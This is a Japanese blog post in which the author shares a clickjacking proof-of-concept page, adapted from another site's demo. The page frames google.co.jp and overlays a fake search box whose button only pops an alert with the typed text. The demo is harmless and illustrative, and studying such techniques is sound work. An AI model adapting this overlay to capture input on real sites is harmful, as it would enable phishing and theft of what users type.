クリックジャッキング

今まで知らなかったので、今日いろいろ見ていたんだけど。

これはコワイって感じるサンプルってなかったので、以下にさらす。
*1

適当なファイル保存して、実行すると、Googleをのっとります。

内容は、http://hamachiya.com/junk/cj.html をそのまま参考にさせてもらいました。
(CSSや、HTMLが素人くさいのは秘密です。)

参考にさせて頂いたサンプルもそうだけど、対象サイトを、攻撃者のサイトで完全にオーバレイで消してしまうより、一部のボタンや、入力だけ置き換わったようにみせられる方がこわい。

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=Shift-JIS" />
    <meta http-equiv="Content-Script-Type" content="text/javascript" />
    <meta http-equiv="Content-Style-Type" content="text/css" />
    <title>クリックジャッキング(Googleのっとり)</title>
<style>
iframe#target2 {
	position: absolute;
	top: 0;
	left: 0;

	width: 100%;
	height: 100%;

	overflow: hidden;
	z-index: 1;
}


#info2 {
	visibility: visible;
	position: absolute;
	top: 0px;
	left: 0px;
	width: 100%;
	height: 100%;
	z-index: 9;

	filter: alpha(opacity=100);
	-moz-opacity: 1.0;
	opacity: 1.0;
	-khtml-opacity:1.0;
	
}

#query {
    height: 23px;
    width: 366px;
}

#button {
    width: 106px;
}

#info2 * {
	visibility: visible;
}
</style>

  </head>
  <body>

<iframe id="target2" frameborder="0" scrolling="no" src="http://www.google.co.jp"></iframe>


<div id="info2">
    <table width="100%">
    <tr>
    <td>
    <div style="height: 167px"/>
    </td>
    </tr>
    <tr>
    <td align="center" style="background: #ffffff">
    <input type="text" id="query" />
    <input type="button" id="button" onclick="doclick()" value="Google のっとり" style="height:1.8em"/>
    </td>
    </tr>
    </table>
</div>

</body>
<script type="text/javascript">
function doclick() {
	var q = document.getElementById('query');
	alert("検索を乗っ取った!!:" + q.value);
}

</script>

</html>

*1:もしかしたら、あえてサンプルを公開しなかったりするのかな。